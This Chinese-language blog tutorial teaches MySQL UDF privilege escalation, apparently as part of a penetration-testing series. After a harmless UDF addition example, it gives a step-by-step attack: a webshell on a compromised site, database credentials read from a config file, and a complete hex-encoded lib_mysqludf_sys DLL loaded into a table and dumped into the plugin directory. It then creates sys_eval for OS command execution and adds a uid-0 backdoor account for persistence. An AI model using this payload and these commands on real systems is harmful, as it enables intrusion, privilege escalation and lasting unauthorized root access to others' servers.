操作系统权限提升(二十六)之数据库提权-MySQL UDF提权

MySQL UDF提权

MySQL介绍

MySQL是最流行的开放源码SQL数据库管理系统,相对于Oracle,DB2等大型数据库系统,MySQL由于其开源性、易用性、稳定性等特点,受到个人使用者、中小型企业甚至一些大型企业的广泛欢迎,MySQL具有以下特点:

1、MySQL是一种关联数据库管理系统,具有灵活性。

2、MySQL软件是一种开放源码软件。

3、MySQL数据库服务器具有快速、可靠和易于使用的特点。

4、MySQL服务器工作在客户端/服务器模式下,或嵌入式系统中。

5、MySQL有大量可用的共享MySQL软件。

MySQL安装

#安装教程
https://blog.csdn.net/qq_64973687/article/details/133012226?spm=1001.2014.3001.5502
#安装mysql.h文件
sudo yum install mysql-devel -y   
#安装gcc-c++
sudo yum install gcc-c++
#启动
systemctl start mysqld 
#root启动
mysqld --user=root  
setenforce 0

MySQL内置函数

平时我们使用mysql时可以执行show databases;可以让我们查看当前的电脑中有多少数据库

在这里插入图片描述

想看哪个数据库,我们就可以使用哪个数据库,比如我们现在想查看mysql这个数据库,我们就可以use mysql;使用这个数据库

在这里插入图片描述

想看这个数据库中有哪些表,我们就可以 show tables;查看当前数据库下有多少表

在这里插入图片描述

MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。比如 user()这个函数,我们执行 select user();这个语句可以查询当前登陆的用户是谁

在这里插入图片描述

又比如,如果我们想查看当前的数据库,我们可以执行 select database();这个语句

在这里插入图片描述

user()也好,database()也罢,他们都是MySQL数据库自带的内置函数,是开发者在一开始时就写好的功能

UDF介绍

MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。UDF机制能够起作用,必须使用C或者C++编写函数,你的系统必须支持动态加载,,mysql采用动态链接库加载自定义函数。

这里举个例子方便大家理解,我们在使用user();这个函数时返回的是当前的登陆用户,那我们现在编写一个函数,暂时命名为qianfu();,其作用是返回 a+b的值,现在我们给其传参 qianfu(1,2),那么返回的结果就是 1+2 == 3

除了数值之外,那还可以返回什么呢?比如我们再编写一个函数去执行系统命令,在这个函数中传入一个系统命令,比如 qianfu(“whomai”),那这个函数将返回执行系统命令后的结果,我们要讲解的UDF提权就是这种思路下的一个产物。

UDF编写详解

那么问题来了,我们该如何如开发自己的UDF呢?UDF需要编写成动态链接库,什么是动态链接库呢?一般来讲我们常见的dll文件和os文件就是动态链接库,Windows环境下的是dll文件,Linux环境下则是os文件。平时我们电脑上一个程序会有很多功能,比如我们的主程序有功能1,功能2,功能3,我们可以把功能1做成一个dll文件,功能2做成一个dll文件,功能3做成一个dll文件,在程序运行时,让主程序在运行时去加载这些dll文件就可实现相应的功能

在这里插入图片描述

在MYSQL中,要实现自定义函数,也就是UDF,举个例子,我们要实现qianfu(“whomai”)这么一个函数去执行系统命令,首先我们需要将其用C语言写好然后编译成一个qianfu.dll文件,然后将其放置于mysql数据库的指定目录下,然后我们就可以在mysql中去调用我们自定义的函数了

UDF就是为了让我们开发者能够自己写方便自己函数,它有3种返回值类型,这三种类型分别是STRING,INTEGER,REAL

STRING        字符型
INTEGER       整型
REAL          实数型

如下面的代码:

#include <mysql.h>
 extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    
    
int a = *((long long *)args->args[0]);
int b = *((long long *)args->args[1]);
return a + b;
}
extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    
    
return 0;
}

用户主函数

首先我们假设需要定义的函数名字为为xxx, 则我们的函数需要有参数列表和返回值, 这不能由用户随意指定, 是有固定规则的

返回值是STRING 类型或DECIMAL类型

char *xxx(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);

返回值是INTEGER类型

long long xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);

返回值是REAL类型

double xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);

系统内置函数

在完成了用户定义的主函数以后, 还需要编写配套的系统内置函数

xxx_init函数

这个函数会在自定义的xxx函数调用前被调用, 进行基本的初始化工作, 其完整定义如下,该函数的主要功能一般是分配空间, 函数参数检查的等. 如果不需要做任何操作, 直接返回0即可.

my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

返回值: 1代表出错, 可以在message中给出错误信息并且返回给客户端, 0表示正确执行

xxx_deinit

该函数用于释放申请的空间, 其完整定义如下,该函数的功能主要是释放资源, 如果在xxx_init中申请了内存, 可以在此处释放, 该函数在用户函数xxx执行以后执行

void xxx_deinit(UDF_INIT *initid);

执行流程

调用xxx_init来初始化, 并申请内存空间用于存储结果

调用xxx函数

调用xxx_deinit释放空间

运行自己的UDF

编写C/C++代码

#include <mysql.h>
 extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    
    
int a = *((long long *)args->args[0]);
int b = *((long long *)args->args[1]);
return a + b;
}
extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    
    
return 0;
}

生成动态链接库

动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 文件中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。DLL 还有助于共享数据和资源。多个应用程序可同时访问内存中单个 DLL 副本的内容。windows是dll文件,linux是so文件

windows系统的话可以使用vs创建dll文件

使用vs创建dll文件即可

我们这里使用Dev-C++来编写,首先,我们打开Dev-C++,然后我们在新建一个项目

在这里插入图片描述

选择 DLL文件,并点击确定

在这里插入图片描述

然后我们在 dllmain.cpp 文件中去编写我们的函数

在这里插入图片描述

然后点击编译将其编译,就可以了

在这里插入图片描述

在Linux环境下,我们只需要去编写一个名为udf.cpp 的文件在执行编译的命令就可以将其编译好了,如下图所示

vim udf.cpp
-------------------------------------------------------------------
#include <mysql.h>
 extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    
    
int a = *((long long *)args->args[0]);
int b = *((long long *)args->args[1]);
return a + b;
}
extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    
    
return 0;
}

-------------------------------------------------------------------
g++ -shared -fPIC -I /usr/include/mysql -o udf.so udf.cpp

在这里插入图片描述

在这里插入图片描述

上传到目标机器

接下来就是把我们编译好的udf.so文件放置到MySQL相应的目录下

1、mysql<5.0,路径随意
35.0<=MYsql<5.1, 放置系统目录(C:\windows\system32)
2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)

可以看到我们当前的数据库的版本是5.7.43,那我们就需要将刚刚编译好的udf.so文件放置在mysql安装目录的lib\plugin文件夹下

在这里插入图片描述

创建函数

然后我们需要去创建函数,函数名字必须和源码中一样

create function 函数名 returns string soname "udf.dll";

查询是否导入成功

select * from mysql.func;

执行函数

select 函数名(参数);

提权准备

连接mysql

连接mysql的方式很多,比如拿到了webshell,或者通过暴力破解的方式,UDF提权的第一步就是先连接mysql

查询运行权限

为什么要查询运行权限呢?因为我们UDF本质上不是提权,是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话就无法执行。比如我们当前机器是以daoer普通用户身份去运行MySQL的,当我们使用UDF去提权,因为UDF本质上不是提权,是通过daoer用户的运行权限去执行命令的,那么提到的权限自然也就是daoer普通用户的权限,像下面这种位于MYSQL数据库中的root用户的权限显然就是错误的,也就是说UDF提权提到的权限不是数据库中的用户权限,而是系统运行数据库这个服务的用户的权限

#错误的,这只是数据库的root用户权限,而不是系统的权限
select user(); 

在这里插入图片描述

一句话概括来说,UDF提权就是MySQL的服务端是由谁运行的,就可以提到谁的权限,UDF提权提的是系统用户的权限,而不是数据库用户的权限

在Linux下5.7版本之后,默认运行时MySQL的是mysql用户,所以在MySQL 5.7版本之后,UDF提权基本上来讲算是失效了,除非管理员手动用root身份去运行MYSQL,5.7之前MySQL运行时默认是以root身份去运行的

查询软件版本

为什么要查询版本呢?因为不同版本的动态链接文件导入的地方不同

select version();

在这里插入图片描述

1、mysql<5.0,路径随意
35.0<=MYsql<5.1, 放置系统目录(C:\windows\system32)
2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)

查询系统位数

为什么要查询系统位数呢?不同的系统和位数有不同的动态连接文件

show variables like '%compile%';

在这里插入图片描述

查询读写权限

为什么要查询读写权限呢?因为我们要将动态连接文件导入到相应的目录里

show global variables like 'secure%';

在这里插入图片描述

secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限,一般三种情况:

show global variables like 'secure%';  查询
secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

如果想要更改就要改my.cnf文件中配置 secure_file_priv=‘’

我们可以使用以下的命令去查询my.cnf文件

find / -name my.cnf

在这里插入图片描述

查询到my.cnf文件位于/etc/my.cnf,接下来我们就可以去修改 secure_file_priv=''了,修改结果如下,这时我们就可以进行UDF提权了

在这里插入图片描述

查看plugin目录位置

为什么要查询plugin?因为我们要将动态连接文件导入到此目录

show variables like 'plugin%';

在这里插入图片描述

生成动态连接文件

接下来就需要我们去生成动态连接文件,但实际情况中不用我们生成了,在sqlmap中就已经存在,或者MSF中也存在,我们只需要使用就行了,不需要在去写源代码。

存在位置为,其中分为windows 和linux 版本,分别有32位和64位

sqlmap/data/udf/mysql
metasploit-framework/data/exploits/mysql/

sqlmap

如图所示,就是我们在Sqlmap中找到的动态连接文件,是udf中mysql中linux下的64位的 lib_mysqludf_sys.so_ 文件

在这里插入图片描述

sqlmap中的是通过加密的,需要用解密脚本解密,解密脚本在 /sqlmap/extra/cloak/cloak.py

用法如下:

python cloak.py -d -i lib_mysqludf_sys.so_(sqlmap中的加密动态连接文件)

MSF

同样,我们可以执行如下的命令去查询位于MSF中的动态连接文件

find / -name "lib_mysqludf*"

在这里插入图片描述

如图所示,就是位于MSF中的动态连接文件

UDF提权实验

一般来讲我们都是通过Web渗透,使用WebShell等一些工具去控制网站的,我们这里通过中国蚁剑上传WebShell连接控制网站

在这里插入图片描述

然后我们去使用终端,发现我们现在是一个普通的apache用户,没有权限去执行添加用户的命令

在这里插入图片描述

那这时我们需要去提权,那该怎么提权呢?如果目标网站恰好有Mysql数据库系统,那我们就可以去查找一些敏感配置的文件,这些文件里面很有可能包含了数据库连接的用户和密码,比如下图

在这里插入图片描述

我们在网站的system目录下的config目录下的 my.php文件中查找到了Mysql数据库的连接用户名和密码

在这里插入图片描述

那我们这时就可以使用中国蚁剑这种工具去执行数据操作,连接网站的数据库

在这里插入图片描述

当前连接网站数据库的操作配置如下

在这里插入图片描述

这样我们就连进了当前网站的数据库了

在这里插入图片描述

接下来我们就可以使用UDF进行提权了

建表

首先我们执行以下的命令创建一张临时表用来存放DLL/OS文件的16进制内容

CREATE TABLE temp_udf (udf blob);

在这里插入图片描述

插入

其中 binaryCode为已经转换好的十六进制内容,binaryCode前加0X

INSERT into temp_udf values (CONVERT($binaryCode,CHAR));

转化成16进制方法很多,我们这里可以借助mysql,当然这里的dll文件我们可以去MSF中获得,之前已经讲过了,MSF中自带相应的dll文件,我们这里只需要将其拷贝过来使用就好了

我们这里将MSF中自带相应的dll文件比如lib_mysqludf_sys_64.dll重命名为1.dll文件,将其放置在本地的C盘目录下,然后我们可以借助mysql数据库将其转换为1.txt文件

select hex(load_file('C:/1.dll')) into dumpfile 'c:/1.txt'

在这里插入图片描述

当然这里转换数据的Mysql一定是我们装在自己系统上的Mysql数据库(总不能用别人网站的数据库系统去转吧),执行完命令后,我们会发现我们本地C盘的目录下多了一个1.txt的文件

在这里插入图片描述

而这个1.txt文件里的内容就是1.dll文件的内容,我们这里只不过是将其转换成了Hex 16 进制的格式

在这里插入图片描述

接下来我们就需要其中的内容拷贝下来放到下列语句的相应位置中,并在之前加上 0x

INSERT into temp_udf values (CONVERT(0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273551E0F5EE3BDC0ABF03E4507F4B8417185BDB7E600BCE1CDC142CD6E288B154B609E01B14F413160A4BDB313DDCDBFFDC84676CC859D94E1E07F7D81BF076BBB7C00359485D1656B8BC18BE04A3638B6F2AF83BC673080753025073D85F60835A3BFE72F15F5E25206C6053C820CC006F35B4DD452BB84D5A346627040B85BF2B5E6E413C03C1813850E45FEFA5ECFFFB33D2B90B011C48180F94C28BC25DC33FB702BF35E34831C80FB74114AE057106C1A55B6C33578C081817761BFFFF2FF1D7487BF972098B580803D93BFB720A4283C0283BD67270CA36B5E86AE55DC38F6AFEF0CD71F7A970040B056418005083EC080DB7C670082F316C33C576F0852F06DF64A31A89B90968555DB7F081F0B2091C6B04F555972DD12C937D1350195C083B04E1C26F2724C1E81FF715E0018FEFB6532B034F230059948BE55DC3621DDB49A301CA3DAFC0FAE99525242631CCFF29343232B61058054C50AC2CB41E97AF12B60D56096B27D7616B20CFB0FBEF2AE4E03160031F73D9665B9A6C038D2BE0FAFC046BA039F13CB4FC8A0D6C120C7D0DC395C3C1619C965154147FE41F3E783124F020140BDAC40E5643B25D53EC1068F885626DF4F888C9BF4EE640BB25EEA0398466820D85C33149DB9F0A359A04EB605675F869639FC1F6448B7598751F1033F0071476E6CA20189D271CB4F6EE6FEDF4330C113BF77507BE4F59EB0B85F30A7B047EA10AC1E0100BF0CE00F7D6076C840D1E045E5F01C33F5C05646464646064686C1405766474B000003FF4C20E034B0F20185F4E6F20FFFFB7FF617267756D656E7473096C6C6F77656420287564663A206C69625F6DCCFD6DF77973716C0D5F73085F696E666F293918DFB6FF8F2076657273696F6E20302E01341F45787065F6DBDBDD637447657861076C79201A65207374723F5BDB5AFB672074791B75726171217258C00E602B7477911FD86F030B3F8672206E616D48DBB1B71F436F756C246E6F74C4636113203058B76D186D2779AF72F1483FDA4D943F2003121071051BF29D5860214707D0604D0D0B0F81CB074ED961DD9703AB17CC2708A77527ECC00FD81F0A3B034FC0A07B851F03240328C1556583A200C5889251CA22D877BDB119BF44FF000F5565A3AA00A8AA9251645455C95532AAAAFFF61D455C0410020157616974466F00FC06C07253886C654F626A07C07F6B99145669727475616C417603E0F6370D536574456E76126F6EC000BC6DBF5661726961622B4118437265F76DEB6E94546806640D47264375727222CD12F65B502A636573734914266E03E083135469636BDE6E6BB1F6B6FD5175657279500366846D616E371667EF1B00FD0144697367374CFDB7EDED6962727879436192731A4973446562756767EDEE6DAD266A686546A4556E6840B1B7B7B7643164457846707469AF46696C4A6D295B6119B41254DE64AEB0176D0DD8114990B9EDD61A0A6B409D6D70876547C25A73CD517F77555122B4ED6E591B5C537973186DEEC3C2EB2E39417373650975697CDB15DA434C7D5F687E396D5F2EDFFEDEBE5F616D7367087869740B646A753A5F666469EC4217B076260A639A5F64FD6CADB91F5F686F6F6B131459725FF802700148D15FDB9CEB0249730A330A6C21D6F0BD82539C2A64D46E640893050B130F651E6B5B7BC25F2C723456ED6D1C182FF6D69A700A035F706F522947E1DDBE6E106468756C5EB92A6BCB92BD9B1B2CA806E0B6D86E6EC57265250866112E827BDB5673749C637079082439EDCD5C6B32C06E4D0FD7ED1F5AC36F7319663A1F5F4370705831C75E3B8474BC6D343F001817FFFFFFFF3D193C1C1B161E55142D16270815270F11115F10130A070D2E17090705160C1E7FFBFFFF080A0B160918181505061B050C10060717062105110F061421110B08E4FBDFB62B22052A111D0D18532D483806000776FBDBE5080C09330A090B0C051007061612EEDFFEED0E0B34150B18160D3D0542C205121E14066930FFD8DDFF110C0E1D4D0517230D0C3224080B4506F0DE041004F03B0A6EFF2C01043808041C1C0204003E4C016DFF21FD05004AFE9F5A8FE00002210B0109080C634F7AD60C1213D616A300200E10C10A01630B02AB3362B7EE6107006003040233351EEED9C0CE34100706C02633D6EDDB7620AC22033C144002B0021C5759DD0050520143C8C8BA65B1214200A7B82F06DB5D182EB4787407EA0B900C5BFA90CDB742602E72647D610861C90E76C508FB0A00C700A1DB66BB77402E26300304301BECDB943D001A27C04F73726300EB11C0061B40731C4F78C2C2A365761F01030002ED7760497B27421BA023030000EDD8D152127C53030400000000000080FF00000000000000000000807C2408010F85B901000060BE007000108DBE00A0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B92A0000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE005000008B0709C0743C8B5F048D8430B472000001F35083C708FF96F0720000958A074708C074DC89F95748F2AE55FF96F472000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEF87200008DBE00F0FFFFBB0010000050546A045357FFD58D871702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9AD98FFFF0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005C80000056020000E404000000000000584000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365223E3C2F726571756573746564457865637574696F6E4C6576656C3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564339302E435254222076657273696F6E3D22392E302E32313032322E38222070726F636573736F724172636869746563747572653D2278383622207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E504100000000000000000000000010830000F08200000000000000000000000000001D83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004B45524E454C33322E444C4C004D5356435239302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000006672656500000000000000004AFE9F5A0000000058840000010000001200000012000000A4830000EC8300003484000021100000A312000000100000A4120000A3120000A0120000CC110000A31200009811000086110000A31200009811000076100000A3120000431000002E1100001A110000A91000006D84000083840000A0840000BB840000C7840000DA840000EB840000F484000004850000128500001B8500002B8500003985000041850000508500005D850000658500007485000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000700000100000006D3C683E6C3E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,CHAR));

然后我们将以上的命令放到网站的数据库中去执行

在这里插入图片描述

我们这里可以通过以下语句去判断是否导入成功,如图所示

select * from temp_udf;

在这里插入图片描述

导出

然后我们需要选择对应的地方进行导出,那哪个地方是对应的地方呢?我们可以通过下面的命令去查看导出的位置

show variables like 'plugin%';

在这里插入图片描述

接着我们执行以下的命令去导出

SELECT udf FROM temp_udf INTO DUMPFILE "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll"

在这里插入图片描述

现在在网站相应的目录下就会存在一个udf.dll文件,如图所示

在这里插入图片描述

那么现在这个dll文件就被导入到了相应的目录下了

创建函数

接下来我们只需要去执行以下的语句创建函数就可以了

create function sys_eval returns string soname 'udf.dll';

在这里插入图片描述

执行

接下来我们只需要去执行以下的命令就可以得到运行Mysql数据库服务端的用户的权限了

select sys_eval("whoami");

在这里插入图片描述

如图所示,我们成功从apache普通用户提到了administrator管理员用户的权限了

创建后门

我们可以执行以下的命令添加后门用户用来进行权限维持

select sys_eval("useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test");

猜你喜欢

转载自blog.csdn.net/qq_64973687/article/details/133011142